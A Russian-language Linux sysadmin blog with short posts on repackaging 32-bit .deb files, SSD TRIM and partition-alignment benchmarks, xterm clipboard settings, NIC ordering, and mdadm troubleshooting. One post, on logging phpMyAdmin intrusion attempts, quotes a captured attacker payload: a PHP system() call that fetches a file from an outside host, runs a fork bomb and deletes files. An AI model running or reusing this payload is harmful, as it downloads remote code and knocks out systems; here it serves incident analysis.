Convert 32-bit .DEB-Package to work in 64bit-system

Copy&Paste:

If you need a program like Adobe Air which does not have 64-bit .deb-package available for your Debian-based system here is way to fix package and get it to work in 64bit systems.
1. Download .deb package of program you want to install
2. In terminal window create tmp-directory:

mkdir tmp

3. Extract the deb file to the tmp dir:

dpkg-deb -x PACKAGE_NAME-i386.deb tmp

4. Extract the control files:

dpkg-deb —control PACKAGE_NAME-i386.deb tmp/DEBIAN

5. Change the Architecture parameter from “i386″ to “all”:

sed -i “s/i386/all/” tmp/DEBIAN/control

6. Repackage the deb file:

dpkg -b tmp PACKAGE_NAME_64.deb

7. Now you can install it:

sudo dpkg -i PACKAGE_NAME_64.deb

That’s it! Working like a charm in my Ubuntu 10.10 64bit system.

В моем случае это оказался пакет DraftSight.

Источник

Очеловечиваем ubuntu 11.10

    Мое личное мнение заключается в том, что использовать unity 3D/2D не возможно для эффективной работы. Актуальным стал вопрос возвращения доброго и привычного gnome. В этом отличным подспорьем послужили следующие заметки:
How to revert to GNOME Classic?
How to customize the gnome classic panel

Поддержка TRIM в Linux

Выдержка из Red Hat Enterprise Linux 6 Storage Administration Guide:

20.1. Deployment Considerations

Because of the internal layout and operation of SSDs, it is best to partition devices on an internal erase block boundary. Partitioning utilities in Red Hat Enterprise Linux 6 chooses sane defaults if the SSD exports topology information. This is especially true if the exported topology information includes alignment offsets and optimal I/O sizes.
However, if the device does not export topology information, Red Hat recommends that the first partition be created at a 1MB boundary.
In addition, keep in mind that logical volumes, device-mapper targets, and md targets do not support TRIM. As such, the default Red Hat Enterprise Linux 6 installation will not allow the use of the TRIM command, since this install uses DM-linear targets.
Red Hat also warns that software RAID levels 1, 4, 5, and 6 are not recommended for use on SSDs. During the initialization stage of these RAID levels, some RAID management utilities (such as mdadm) write to all of the blocks on the storage device to ensure that checksums operate properly. This will cause the performance of the SSD to degrade quickly.
At present, ext4 is the only fully-supported file system that supports TRIM. To enable TRIM commands on a device, use the mount option discard. For example, to mount /dev/sda2 to /mnt with TRIM enabled, run:

mount -t ext4 -o discard /dev/sda2 /mnt

By default, ext4 does not issue the TRIM command. This is mostly to avoid problems on devices which may not properly implement the TRIM command. The Linux swap code will issue TRIM commands to TRIM-enabled devices, and there is no option to control this behaviour.

Источник

xterm: friendly copy-and-paste

    Превосходное решение извечного неудобства использования xterm, а именно копирования/вставки из него в другие приложения. Неудобство связано с тем, что xterm при копировании использует legacy PRIMARY selection buffer, вставка из которого происходит по нажатию средней кнопки мыши.

Элегантность решения заключается в добавлении нижеследующей строчки в файл ~/.Xresources

XTerm*VT100.translations: #override <Btn1Up>: select-end(PRIMARY, CLIPBOARD, CUT_BUFFER0)

Чтобы не перезапускать текущую X11 сессию достаточно выполнить команду

xrdb -merge .Xresources

phpmyadmin: i’m lovin’ it

    Изначально планировалось написать развернутую заметку о вреде использования устаревшего программного обеспечения и в особенности phpmyadmin. Однако по прошествии нескольких дней по ключевым словам была найдена аналогичная статья, которая рекомендована к прочтению.

    Остановимся на отличительных особенностях. Автор использовал модифицированный скрипт php, чтобы перехватить данные POST-запроса, т.к. по умолчанию они не записываются ни в какой журнал. Однако в этом нет необходимости. В особенности, если на сервере размещается несколько проектов и каждый использует свою копию phpmyadmin или какого-либо другого уязвимого программного обеспечения, модификация каждого из них дело неблагодарное. Достаточно воспользоваться штатным модулем mod_dumpio сервера apache. Для его активации необходимо добавить директивы

LoadModule dumpio_module modules/mod_dumpio.so
DumpIOInput On
LogLevel debug

    При этом необходимо убедиться, что директива LogLevel не переопределяется в нижележащих директивах, например, в директиве VirtualHost предположительно уязвимого домена. В этом случае все данные всех POST-запросов будут записываться в соответствующие журналы ErrorLog.

    Немаловажный момент всей процедуры актуальность Вашей операционной системы и системных сервисов. Т.к. после автоматического проникновения бота вырисовывается человек и начинает перебирать различные эксплоиты с целью заполучить полный контроль над системой. Окончательно отчаявшиеся в безуспешности своих попыток, пытаются просто навредить. В частности среди возможных скриптов на выполнение проскакивают типичные fork() бомбы:

<? system("cd /tmp/ ; wget -q http://tevad.do.am/j.txt ; curl -O http://tevad.do.am/j.txt ; fetch http://tevad.do.am/j.txt ; perl -e 'fork while fork;' ; rm -rf j*");exit?>

    Т.к. с течением времени использованные при взломе ссылки становятся не доступными, позволим себе под капотом разместить в base64 формате полученные в результате анализа исходные тексты вышеописанных в статье ботов. Continue reading

Как изменить последовательность регистрации сетевых карт

    Привычные имена eth0, eth1, … в современной GNU/Linux системе не говорят ничего о том, в какой последовательности сетевые интерфейсы зарегистрированы в ядре. Название может привязываться к конкретной карте через системный демон udev, программой ifrename, изменяться через ip link set dev … name, et cetera.
    Однако в очень редких случаях требуется, чтобы функция if_nameindex() возвращала структуру if_nameindex в определенной упорядоченной последовательности. Например, закрытое программное обеспечение, которое имеет привязку к MAC адресу сетевого интерфейса, полученного вызовом ioctl с параметром SIOCGIFCONF. В качестве подходящего интерфейса для получения канального адреса оно выбирает первый активный не loopback интерфейс. Таким образом возникает ситуация, когда требуемый интерфейс с MAC-адресом указанным в лицензии к закрытому продукту может оказаться в списке вторым или третьим кандидатом, но никак не первым. В этом случае программа завершит свое выполнение с ошибкой.
    Чтобы убедиться в происходящем предложим простой пробник

/* ifacelist.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

int get_iface_list(struct ifconf *ifconf)
{
   int sock, rval;

   sock = socket(AF_INET,SOCK_STREAM,0);
   if(sock < 0)
   {
     perror("socket");
     return (-1);
   }

   if((rval = ioctl(sock, SIOCGIFCONF , (char*) ifconf  )) < 0 )
     perror("ioctl(SIOGIFCONF)");

   close(sock);

   return rval;
}


int main()
{
   static struct ifreq ifreqs[20];
   struct ifconf ifconf;
   int  nifaces, i;

   memset(&ifconf,0,sizeof(ifconf));
   ifconf.ifc_buf = (char*) (ifreqs);
   ifconf.ifc_len = sizeof(ifreqs);

   if(get_iface_list(&ifconf) < 0) return -1;

   nifaces =  ifconf.ifc_len/sizeof(struct ifreq);

   printf("Interfaces (count = %d)\n", nifaces);
   for(i = 0; i < nifaces; i++)
   {
     printf("\t%-10s\n", ifreqs[i].ifr_name);
   }
}

    Процесс сборки выполняется командой gcc -o ifacelist ifacelist.c. Первый запуск

~$ ./ifacelist 
Interfaces (count = 3)
        lo
        eth0        
        dummy0   
~$    

    Вымышленный сетевой интерфейс dummy0 значится в списке замыкающим. Требуется, чтобы он занимал место в списке следующее за интерфейсом lo. Добиться желаемого можно загрузкой модуля ядра dummy перед загрузкой модуля ядра сетевого адаптера eth0. В рассматриваемом примере драйвером сетевого интерфейса заведует модуль r8169. Наиболее элегантное решение для Debian/Ubuntu описано на unix.stackexchange.com (Second method) и заключается в размещении модуля ядра сетевого адаптера eth0 в blacklistе и последующая его загрузка с указанием явной последовательности через /etc/modules.

    Таким образом последовательность шагов заключается в создании файла /etc/modprobe.d/blacklist-net.conf с нижеследующим содержимым

# Disable automatic loading of kernel driver modules

blacklist r8169

    С последующим выполнением команд

update-initramfs -u

cat <<EOF >> /etc/modules
dummy
r8169
EOF

    Контрольный перезапуск системы и окончальная проверка подтвержают ожидаемый результат.

~$ ./ifacelist 
Interfaces (count = 3)
        lo        
        dummy0    
        eth0     
~$

Глаза бояться — руки делают

    Интересная головоломка подвернулась на днях. Как ранее отмечалось в такие моменты перестаешь верить, что 2 + 2 = 4. Постановка задачи: есть закрытое программное обеспечение, необходимо обеспечить его работу на платформе Linux Ubuntu-1004-lucid-64-minimal 2.6.32-29-server #58-Ubuntu SMP Fri Feb 11 21:06:51 UTC 2011 x86_64 GNU/Linux
. Все предельно просто.
    Первый запуск.

# ls -l macaddr
-rwxr-xr-x 1 root root 6371 2011-04-12 10:52 macaddr
# ./macaddr
-bash: ./macaddr: No such file or directory
#

    Что же это получается файл существует, однако bash говорит нам об обратном?! Проверяем имеющимися средствами

# ldd macaddr
        not a dynamic executable
# file macaddr
macaddr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped

# strace ./macaddr
execve("./macaddr", ["./macaddr"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)
dup(2)                                  = 3
fcntl(3, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fstat(3, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f97f71dd000
lseek(3, 0, SEEK_CUR)                   = -1 ESPIPE (Illegal seek)
write(3, "strace: exec: No such file or di"..., 40strace: exec: No such file or directory
) = 40
close(3)                                = 0
munmap(0x7f97f71dd000, 4096)            = 0
exit_group(1)                           = ?
#

    Вторая, третья, …, десятая попытка не дают никаких положительных результатов. Внимательный читатель мог заметить, что бинарный файл относится к 32 битной архитектуре и запускается на 64 битной. Но это утверждение было проверено при первых запусках, ldd отрапортовался not a dynamic executable. Как оказалось его результат ошибочен.

    Так как никакой зацепки не было, поиски, разумеется, возвращали все что угодно, только не ответ на вопрос. Дальнейшие анализ все таки дал результат. Файл на самом деле динамически слинкован! Это и есть долгожданная ниточка к развязке. Запуск

# strings macaddr | head -5
/lib/ld-linux.so.2
libstdc++.so.6
__gxx_personality_v0
_Jv_RegisterClasses
__gmon_start__
# 

    Указывает, что не хватает ключевой библиотеки /lib/ld-linux.so.2 (32х битная вариант). В этом мгновение и ответ от поисковика подтянулся. Установка libc6-i386 расставляет все на свои места:

# ldd macaddr 
        linux-gate.so.1 =>  (0xf7709000)
        libstdc++.so.6 => not found
        libm.so.6 => /lib32/libm.so.6 (0xf76dc000)
        libgcc_s.so.1 => not found
        libc.so.6 => /lib32/libc.so.6 (0xf7581000)
        /lib/ld-linux.so.2 (0xf770a000)
# 

    Недостающие библиотеки в данном случае мелочи, главное ldd начал выдавать ожидаемый от него результат.

Случайный пароль в Linux

    Сегодня убедился, что, оказывается, не все знают как простым способом создать случайный пароль. Сделать это можно базовыми средствами системы с помощью, например,

head -c 6 /dev/urandom | openssl base64

Исследование влияния выравнивания операций записи на производительность файловой системы на SSD носителе

    После опубликования результатов тестирования Hardware 3ware RAID10 vs Linux Software RAID10 в кулуарах мы провели сравнительное тестирование массивов 6xSAS и 6xSSD, объединенных в программный RAID10. Однако результаты не были опубликованы. Публикация статьи соображения о SSD подсыпала пороха в пороховницы.

    В рассмотрении будут участвовать два SSD диска объемом 128GB с маркировкой Super Talent UltraDrive ME SSD FTM28GX25H. Нам было интересно рассмотреть как выравнивание и его отсутствие влияет на производительность файловых систем на программной RAID1 массиве. Четких сведений относительно размера Erase Block на этом носителе не удалось найти. Мы ориентировались на значение 128KB. Аппаратная часть 4е ядра Intel Core i7 930, 24 GB RAM. Операционная система Ubuntu 10.04.2 Server LTS. Версия ядра 2.6.32-28-server.

    Для тестирования с выравниванием создавалась следующая разметка диска:

echo '2048,,fd' | sfdisk -f -uS /dev/sdc
echo '2048,,fd' | sfdisk -f -uS /dev/sdd
mdadm --create /dev/md4 --raid-devices=2 --level=1 /dev/sdc1 /dev/sdd1

    Для случая без выравнивания ориентировались на стандартное поведение fdisk (смещение в 63 сектора)

echo '63,,fd' | sfdisk -f -uS /dev/sdc
echo '63,,fd' | sfdisk -f -uS /dev/sdd
mdadm --create /dev/md4 --raid-devices=2 --level=1 /dev/sdc1 /dev/sdd1

    Для случая с выравниванием мы рассмотрели три возможных варианта создания файловых систем

  • mkfs.xfs /dev/md4 (метка XFS_ALIGN_AUTO)
  • mkfs.xfs -d su=128k -d sw=1 /dev/md4 (метка XFS_ALIGN_MANUAL)
  • mkfs.ext4 -E stride=32,stripe-width=32 /dev/md4 (метка EXT4_ALIGN)

    Первая команда обусловлена тем, что согласно документации на mkfs.xfs

When a filesystem is created  on  a  logical  volume
device,  mkfs.xfs will automatically query the logical 
volume for appropriate sunit and swidth values.

    Однако в рассматриваемом нами случае запросить эту информацию попросту не у кого. Поэтому встроенная в mkfs.xfs автоматическая настройка параметров sunit и swidth в данном случае не работает. Информация полученная из xfs_info лишнее тому подтверждение

meta-data=/dev/md4               isize=256    agcount=4, agsize=7814608 blks
         =                       sectsz=512   attr=2
data     =                       bsize=4096   blocks=31258432, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0
log      =internal               bsize=4096   blocks=15262, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0

    Для нас этот вариант интересен оценкой целесообразности указания параметров su и sw при выполнении второй команды (su и sw являются аналогами sunit и swidth, отличие заключается в том что они оперируют байтами, а не 512 байтовыми блоками). Оказывают они какой-нибудь эффект в данном случае на производительность по сути одного накопителя или нет? Имеет смысл помнить о них инженеру или можно просто положиться на встроенный интеллект mkfs.xfs?

    С вариантом без выравнивания мы рассмотрели два случая

  • mkfs.xfs /dev/md4 (метка XFS)
  • mkfs.ext4 /dev/md4 (метка EXT4)

    Во всех случаях использовались опции монтирования для ext4 -o barrier=0, для XFS -o nobarrier.

    В качестве верхней границы блочной операций записи выступает значение в 195 MB/s, полученное в результате использования dd

$ dd if=/dev/zero of=/dev/sdd bs=128K
976835+0 records in
976834+0 records out
128035676160 bytes (128 GB) copied, 656.573 s, 195 MB/s

    График #1 демонстрирует блочную запись, чтение и перезапись для пяти кандидатов.

График 1

График 1


    Во всех трех номинациях победитель XFS_ALIGN_MANUAL. В блочной записи он превзошел своего ближайшего оппонента на 15%, на 9% в блочном чтении и на 2% при перезаписи. Ранее мы озадачились вопросом необходимости ручного выравнивания XFS раздела путем явного указания параметров sunit/swidth (su/sw). Раздел с ручным указанием этих параметров XFS_ALIGN_MANUAL превзошел своего автоматического аналога XFS_ALIGN_AUTO на 15% (23 MB/s) в блочной записи, на 21% на блочном чтении (30 MB/s), на 3% на перезаписи. Мы рекомендуем забыть о автоматической настройке от mkfs.xfs и всегда явно задавать параметры sunit/swidth (su/sw), чтобы избежать путаницы в каких случаях автоматика работает, а в каких нет. Если вы не указали эти параметры при создании файловой системы еще не все потеряно. Их можно задать на этапе монтирования раздела.

    Для файловой системы ext4 наличие выравнивания дает прирост блочной записи на 3% и 4% при перезаписи.

    В сравнении с эталонным значением в 195 MB/s (верхней границей блочной записи на этом накопителе) накладные расходы на поддержание метаинформации файловой системы XFS с выравниванием составляют 16% (XFS_ALIGN_MANUAL), на файловую систему ext4 с выравниванием — 34% (EXT4_ALIGN).

    График #2 демонстрирует предельно допустимое количество операций смещения

График 2

График 2


    Вырезка из официальной документации к bonnie++ повествует

Random Seeks
This test runs SeekProcCount processes (default 3) in parallel, doing a total of 8000 lseek()s to locations in the file specified by random() in bsd systems, drand48() on sysV systems. In each case, the block is read with read(2). In 10% of cases, it is dirtied and written back with write(2).
The idea behind the SeekProcCount processes is to make sure there's always a seek queued up.
AXIOM: For any unix filesystem, the effective number of lseek(2) calls per second declines asymptotically to near 30, once the effect of caching is defeated.
...
Many Unix systems that have the memory available will make aggressive efforts to cache the whole thing, and report random I/O rates in the thousands per second, which is ridiculous...Some have argued that bypassing the cache is artificial since the cache is just doing what it's designed to.

    Так как тестирование рассматривалось в рамках одной системы и в рамках идентичных алгоритмов кеширования, мы решили включить его в заключение. На нем четко просматривается, что выравнивание дает выигрыш в 245% для файловой системы ext4 и в 238% для файловой системы XFS. В целом лидером номинации является EXT4_ALIGN, XFS_ALIGN_MANUAL отстает от нее на 6%. Худший результат показала EXT4 (невыровненная).

    Итог. Выравнивание раздела на SSD носителе положительно сказывается на его производительности. Наиболее ярко проявляется на файловой системе XFS.

Полученные данные

Дополнительные материалы

mdadm: WARNING /dev/sdd1 and /dev/sdd appear to have very similar superblocks.

    Каждый день преподносит новые сюрпризы. С нуля настроенная система после итоговой проверочной перезагрузки не взлетела. Проблему с запуском удалось быстро детектировать. Системы пыталась запустить md-устройство с физического носителя вместо партиции. Таким образом появлялось устройство

md4 : active raid1 sdd[1] sdc[0]

    Вообще требовалось взлететь с партиций sdd1 и sdc1, а не с блочных устройств sdd и sdc. Соответственно файловая система не смогла смонтироваться и процесс инициализации системы прерывался. Однако нигде не фигурировала ошибка, почему это происходит. Пляски вокруг /etc/mdadm/mdadm.conf, чтение init скриптов никаких мыслей не навеивало. Попытка воссоздать процесс инициализации привела к команде mdadm —assemble —scan, выполнение которой дало должный результат (ошибку)

    mdadm: WARNING /dev/sdd1 and /dev/sdd appear to have very similar
    superblocks. If they are really different, please --zero the superblock on
    one. If they are the same or overlap, please remove one from the DEVICE
    list in mdadm.conf.

    Таким образом получилось что партиция sdd1 и блочное устройство sdd поимели общий superblock на оконечной стороне устройства. Google нашептал несколько решений

  There are two ways to solve this:

  (a) recreate the arrays with version-1 superblocks, which is not always an
      option -- you cannot yet upgrade version-0 to version-1 superblocks for
      existing arrays.

  (b) instead of 'DEVICE partitions', list exactly those devices that are
      components of MD arrays on your system. So in the above example:

        - DEVICE partitions
        + DEVICE /dev/hd[ab]* /dev/hdc[123]

    Решено было использовать 3-ей вариант: просто уменьшить размер раздела. В нашем это

echo '2048,249561088,fd' | sfdisk -f -uS /dev/sdc
echo '2048,249561088,fd' | sfdisk -f -uS /dev/sdd

    С последующей переинициализацией md-устройства и созданием новой таблицы раздела.